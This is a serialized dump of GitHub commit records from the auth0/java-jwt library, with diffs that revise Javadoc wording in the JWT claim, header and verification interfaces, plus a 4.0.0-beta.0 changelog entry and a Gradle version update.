      * @return the value as a Double or null.
      */
     Double asDouble();
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, null will be returned.
+     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
      *
      * @return the value as a String or null.
      */
     String asString();
 
     /**
      * Get this Claim as a Date.
-     * If the value can't be converted to a Date, null will be returned.
+     * If the value can't be converted to a Date, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
     Date asDate();
 
     /**
      * Get this Claim as an Instant.
-     * If the value can't be converted to an Instant, null will be returned.
+     * If the value can't be converted to an Instant, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
@@ -89,7 +89,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as an Array of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type class
@@ -100,7 +100,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as a List of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type classu}(jxC  (52b3ba563217cb3f699802c797b48fefc111a327jC  6lib/src/main/java/com/auth0/jwt/interfaces/Header.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -1,7 +1,7 @@
 package com.auth0.jwt.interfaces;
 
 /**
- * The Header class represents the 1st part of the JWT, where the Header value is hold.
+ * The Header class represents the 1st part of the JWT, where the Header value is held.
  */
 public interface Header {
 
@@ -35,7 +35,7 @@ public interface Header {
 
     /**
      * Get a Private Claim given it's name. If the Claim wasn't specified in the Header, a 'null claim' will be
-     * returned. All of the methods of that claim will return {@code null}.
+     * returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(jxC  (33cd0d709b9180e86ced111a663c5dfb4ff78efejC  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  XI  @@ -4,12 +4,12 @@
 
 /**
  * The JWTPartsParser class defines which parts of the JWT should be converted
- * to it's specific Object representation instance.
+ * to its specific Object representation instance.
  */
 public interface JWTPartsParser {
 
     /**
-     * Parses the given JSON into a Payload instance.
+     * Parses the given JSON into a {@link Payload} instance.
      *
      * @param json the content of the Payload in a JSON representation.
      * @return the Payload.
@@ -18,7 +18,7 @@ public interface JWTPartsParser {
     Payload parsePayload(String json) throws JWTDecodeException;
 
     /**
-     * Parses the given JSON into a Header instance.
+     * Parses the given JSON into a {@link Header} instance.
      *
      * @param json the content of the Header in a JSON representation.
      * @return the Header.u}(jxC  (b7030a97b485a1e1a45128cf60e2a1ebfffaee54jC  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -4,7 +4,7 @@
 
 
 /**
- * Used to verify the JWT for it's signature and claims.
+ * Used to verify the JWT for its signature and claims.
  */
 public interface JWTVerifier {
 
@@ -18,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT.
+     * Performs the verification against the given {@link DecodedJWT}.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(jxC  (feb58c64ad6b7e63d75ae8986a17520a7e4c39aejC  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X,  @@ -6,7 +6,7 @@
 import java.util.Map;
 
 /**
- * The Payload class represents the 2nd part of the JWT, where the Payload value is hold.
+ * The Payload class represents the 2nd part of the JWT, where the Payload value is held.
  */
 public interface Payload {
 
@@ -87,8 +87,8 @@ default Instant getIssuedAtAsInstant() {
     String getId();
 
     /**
-     * Get a Claim given it's name. If the Claim wasn't specified in the Payload, a 'null claim'
-     * will be returned. All of the methods of that claim will return {@code null}.
+     * Get a Claim given its name. If the Claim wasn't specified in the Payload, a 'null claim'
+     * will be returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(jxC  (4a8a0f8408a3f968e59f987f557d03582e6f8144jC  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajC  modifiedjC  K.jC  K6jC  KdjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X0/  @@ -7,12 +7,13 @@
 import java.util.function.BiPredicate;
 
 /**
- * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid.
  */
 public interface Verification {
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param issuer the required Issuer value.
      * @return this same Verification instance.
@@ -22,52 +23,40 @@ default Verification withIssuer(String issuer) {
     }
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param issuer the required Issuer value. If multiple values are given, the claim must at least match one of them
      * @return this same Verification instance.
      */
     Verification withIssuer(String... issuer);
 
     /**
-     * Require a specific Subject ("sub") claim.
+     * Verifies whether the JWT contains a Subject ("sub") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param subject the required Subject value
      * @return this same Verification instance.
      */
     Verification withSubject(String subject);
 
     /**
-     * Require a specific Audience ("aud") claim. If multiple audiences are specified, they must all be present
-     * in the "aud" claim.
-     *
-     * If this is used in conjunction with {@link #withAnyOfAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
+     * Verifies whether the JWT contains an Audience ("aud") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value
      * @return this same Verification instance.
      */
     Verification withAudience(String... audience);
 
     /**
-     * Require that the Audience ("aud") claim contain at least one of the specified audiences.
-     *
-     * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
-     *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
-     *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
+     * Verifies whether the JWT contains an Audience ("aud") claim contain at least one of the specified audiences.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience);
     
     /**
      * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
@@ -116,149 +105,152 @@ default Verification withAnyOfAudience(String... audience) {
     Verification acceptIssuedAt(long leeway) throws IllegalArgumentException;
 
     /**
-     * Require a specific JWT Id ("jti") claim.
+     * Verifies whether the JWT contains a JWT ID ("jti") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
-     * @param jwtId the required Id value
+     * @param jwtId the required ID value
      * @return this same Verification instance.
      */
     Verification withJWTId(String jwtId);
 
     /**
-     * Require a claim to be present, with any value.
+     * Verifies whether the claim is present in the JWT, with any value including {@code null}.
      *
      * @param name the Claim's name.
      * @return this same Verification instance
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaimPresence(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value to be null.
+     * Verifies whether the claim is present with a {@code null} value.
      *
      * @param name the Claim's name.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withNullClaim(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Boolean value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Boolean value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Integer value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Long value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Long value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Double value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given String value.
+     * This check is case-sensitive.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Date value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * Verifies whether the claim is equal to the given Instant value.
+     * Note that date-time claims are serialized as seconds since the epoch;
      * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
         return withClaim(name, value != null ? Date.from(value) : null);
     }
 
     /**
-     * Executes the predicate provided during the verification
-     * and passes the verification if the predicate returns true.
+     * Executes the predicate provided and the validates the JWT if the predicate returns true.
      *
      * @param name the Claim's name
      * @param predicate the predicate check to be done.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given String items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, String... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Integer items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Long items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
 
     Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
 
     /**
-     * Skip the Issued At ("iat") date verification. By default, the verification is performed.
+     * Skip the Issued At ("iat") claim verification. By default, the verification is performed.
      *
      * @return this same Verification instance.
      */
@@ -267,7 +259,7 @@ default Verification withClaim(String name, Instant value) throws IllegalArgumen
     /**
      * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
      *
-     * @return a new JWTVerifier instance.
+     * @return a new {@link com.auth0.jwt.interfaces.JWTVerifier} instance.
      */
     JWTVerifier build();
 }u}(jxC  (bdbd688a3182addf0f121f8a56759f768ffa8856jC  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javajC  modifiedjC  KjC  K jC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  Xu  @@ -74,6 +74,11 @@ public Verification withAudience(String... audience) {
             return null;
         }
 
+        @Override
+        public Verification withAnyOfAudience(String... audience) {
+            return null;
+        }
+
         @Override
         public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
             return null;ueu(08f2e1de7ad86ad85a182c2d8a01ec04358be5ed}(sha(08f2e1de7ad86ad85a182c2d8a01ec04358be5ednode_idEC_kwDOAQtL0doAKDA4ZjJlMWRlN2FkODZhZDg1YTE4MmMyZDhhMDFlYzA0MzU4YmU1ZWQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T14:01:51Zu	committer}(jUD  
Poovamraj T TjWD  poovamraj@gmail.comjYD  2022-05-06T14:01:51ZumessageRelease 4.0.0-beta.0tree}(jMD  (0fb625f16c25176df20f792ecc2fab80c3e9ecbcurl^https://api.github.com/repos/auth0/java-jwt/git/trees/0fb625f16c25176df20f792ecc2fab80c3e9ecbcujeD  `https://api.github.com/repos/auth0/java-jwt/git/commits/08f2e1de7ad86ad85a182c2d8a01ec04358be5ed
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujeD  \https://api.github.com/repos/auth0/java-jwt/commits/08f2e1de7ad86ad85a182c2d8a01ec04358be5edhtml_urlQhttps://github.com/auth0/java-jwt/commit/08f2e1de7ad86ad85a182c2d8a01ec04358be5edcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/08f2e1de7ad86ad85a182c2d8a01ec04358be5ed/commentsjSD  }(login	poovamrajidJ jOD  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jeD  &https://api.github.com/users/poovamrajjqD  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj[D  }(jvD  	poovamrajjxD  J jOD  MDQ6VXNlcjE1OTEwNDI1jzD  4https://avatars.githubusercontent.com/u/15910425?v=4j|D  h3jeD  &https://api.github.com/users/poovamrajjqD  https://github.com/poovamrajjD  0https://api.github.com/users/poovamraj/followersjD  =https://api.github.com/users/poovamraj/following{/other_user}jD  6https://api.github.com/users/poovamraj/gists{/gist_id}jD  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jD  4https://api.github.com/users/poovamraj/subscriptionsjD  +https://api.github.com/users/poovamraj/orgsjD  ,https://api.github.com/users/poovamraj/reposjD  7https://api.github.com/users/poovamraj/events{/privacy}jD  6https://api.github.com/users/poovamraj/received_eventsjD  UserjD  uparents]}(jMD  (4b64d9ee8977d9c32b55eac2dfc59f7775cde187jeD  \https://api.github.com/repos/auth0/java-jwt/commits/4b64d9ee8977d9c32b55eac2dfc59f7775cde187jqD  Qhttps://github.com/auth0/java-jwt/commit/4b64d9ee8977d9c32b55eac2dfc59f7775cde187uastats}(totalK/	additionsK/	deletionsK ufiles]}(jMD  (c920528c8910ee8a57d168b58eb2410b4b86ff6afilenameCHANGELOG.mdstatusmodifiedjD  K/jD  K changesK/blob_url\https://github.com/auth0/java-jwt/blob/08f2e1de7ad86ad85a182c2d8a01ec04358be5ed/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/08f2e1de7ad86ad85a182c2d8a01ec04358be5ed/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=08f2e1de7ad86ad85a182c2d8a01ec04358be5edpatchX  @@ -1,5 +1,52 @@
 # Change Log
 
+## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.0.0-beta.0)
+
+**Added**
+- [SDK-3159] JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3244] Add Migration Guide [\#576](https://github.com/auth0/java-jwt/pull/576) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3226] Expose claim name and header constants [\#574](https://github.com/auth0/java-jwt/pull/574) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3231] Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- Improved README structure [\#571](https://github.com/auth0/java-jwt/pull/571) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3154] Improved Exception Handling [\#568](https://github.com/auth0/java-jwt/pull/568) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3155] Predicate based Claim verification [\#562](https://github.com/auth0/java-jwt/pull/562) ([poovamraj](https://github.com/poovamraj))
+- Add lint checks [\#561](https://github.com/auth0/java-jwt/pull/561) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3186] Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3149] Add Instant support [\#537](https://github.com/auth0/java-jwt/pull/537) ([jimmyjames](https://github.com/jimmyjames))
+- Testing Java LTS versions [\#536](https://github.com/auth0/java-jwt/pull/536) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- [SDK-3158] Null claim handling [\#564](https://github.com/auth0/java-jwt/pull/564) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3151] Undeprecate Single Key Constructor for Algorithms [\#551](https://github.com/auth0/java-jwt/pull/551) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3151] Update documentation and undeprecate single content sign methods [\#550](https://github.com/auth0/java-jwt/pull/550) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3197] Update test deps [\#539](https://github.com/auth0/java-jwt/pull/539) ([jimmyjames](https://github.com/jimmyjames))
+
+**Deprecated**
+- [SDK-3192] Deprecate secp256k1 curve for EC Algorithms [\#540](https://github.com/auth0/java-jwt/pull/540) ([poovamraj](https://github.com/poovamraj))
+
+**Removed**
+- Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3212] Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3160] Remove internal Clock [\#533](https://github.com/auth0/java-jwt/pull/533) ([jimmyjames](https://github.com/jimmyjames))
+
+**Fixed**
+- Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3186] Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- Test only change - remove unnecessary throws clause from tests [\#535](https://github.com/auth0/java-jwt/pull/535) ([jimmyjames](https://github.com/jimmyjames))
+
+**Security**
+- [SDK-3125] Updated documentation regarding HMAC Key length [\#580](https://github.com/auth0/java-jwt/pull/580) ([poovamraj](https://github.com/poovamraj))
+
+**Breaking changes**
+- [SDK-3231] Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
+- Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3212] Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- [SDK-3171] Fix header claims serialization [\#549](https://github.com/auth0/java-jwt/pull/549) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3150] Serialize dates in collections as seconds since epoch [\#534](https://github.com/auth0/java-jwt/pull/534) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3160] Replace com.auth0.jwt.interfaces.Clock with java.time.Clock [\#532](https://github.com/auth0/java-jwt/pull/532) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
 uau(f29d70c56768bd7ed8356a44040082087e076cd8}(sha(f29d70c56768bd7ed8356a44040082087e076cd8node_idEC_kwDOAQtL0doAKGYyOWQ3MGM1Njc2OGJkN2VkODM1NmE0NDA0MDA4MjA4N2UwNzZjZDgcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-09-09T02:41:03Zu	committer}(jD  Jim AndersonjD  jimranderson@gmail.comjD  2022-09-09T02:41:03ZumessageUpdate to gradle 6.9.2tree}(jD  (ffd99d7e1669ca80a25e4e7bee83ff7cc8460e62url^https://api.github.com/repos/auth0/java-jwt/git/trees/ffd99d7e1669ca80a25e4e7bee83ff7cc8460e62ujD  `https://api.github.com/repos/auth0/java-jwt/git/commits/f29d70c56768bd7ed8356a44040082087e076cd8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujD  \https://api.github.com/repos/auth0/java-jwt/commits/f29d70c56768bd7ed8356a44040082087e076cd8html_urlQhttps://github.com/auth0/java-jwt/commit/f29d70c56768bd7ed8356a44040082087e076cd8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f29d70c56768bd7ed8356a44040082087e076cd8/commentsjD  }(login
jimmyjamesidJ7 jD  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jD  'https://api.github.com/users/jimmyjamesjD  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujD  }(jD  
jimmyjamesjD  J7 jD  MDQ6VXNlcjI3NjIyNQ==jD  2https://avatars.githubusercontent.com/u/276225?v=4jD  h3jD  'https://api.github.com/users/jimmyjamesjD  https://github.com/jimmyjamesjD  1https://api.github.com/users/jimmyjames/followersjD  >https://api.github.com/users/jimmyjames/following{/other_user}jD  7https://api.github.com/users/jimmyjames/gists{/gist_id}jD  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jD  5https://api.github.com/users/jimmyjames/subscriptionsjD  ,https://api.github.com/users/jimmyjames/orgsj E  -https://api.github.com/users/jimmyjames/reposjE  8https://api.github.com/users/jimmyjames/events{/privacy}jE  7https://api.github.com/users/jimmyjames/received_eventsjE  UserjE  uparents]}(jD  (59e447583468ca4f4cf01d89f5ceb21cd1452cf5jD  \https://api.github.com/repos/auth0/java-jwt/commits/59e447583468ca4f4cf01d89f5ceb21cd1452cf5jD  Qhttps://github.com/auth0/java-jwt/commit/59e447583468ca4f4cf01d89f5ceb21cd1452cf5uastats}(totalK	additionsK	deletionsKufiles](}(jD  (ec991f9aa12cb8a8a72b26ef0ad7e2c38532696afilename(gradle/wrapper/gradle-wrapper.propertiesstatusmodifiedj"E  Kj#E  KchangesKblob_url|https://github.com/auth0/java-jwt/blob/f29d70c56768bd7ed8356a44040082087e076cd8/gradle%2Fwrapper%2Fgradle-wrapper.propertiesraw_url{https://github.com/auth0/java-jwt/raw/f29d70c56768bd7ed8356a44040082087e076cd8/gradle%2Fwrapper%2Fgradle-wrapper.propertiescontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/gradle%2Fwrapper%2Fgradle-wrapper.properties?ref=f29d70c56768bd7ed8356a44040082087e076cd8patchX/  @@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.7.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.9.2-bin.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/distsu}(jD  (eab6a0a5311d318e6e057da65b1c560012d0eea8j(E  lib/build.gradlej*E  modifiedj"E  Kj#E  Kj,E  Kj-E  bhttps://github.com/auth0/java-jwt/blob/f29d70c56768bd7ed8356a44040082087e076cd8/lib%2Fbuild.gradlej/E  ahttps://github.com/auth0/java-jwt/raw/f29d70c56768bd7ed8356a44040082087e076cd8/lib%2Fbuild.gradlej1E  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=f29d70c56768bd7ed8356a44040082087e076cd8j3E  X  @@ -44,7 +44,7 @@ java {
 compileJava {
     exclude 'module-info.java'
     // Required to be compatible with JDK 8+
-    options.compilerArgs = ['--release', "8"]
+    options.release = 8
 }
 
 javadoc {
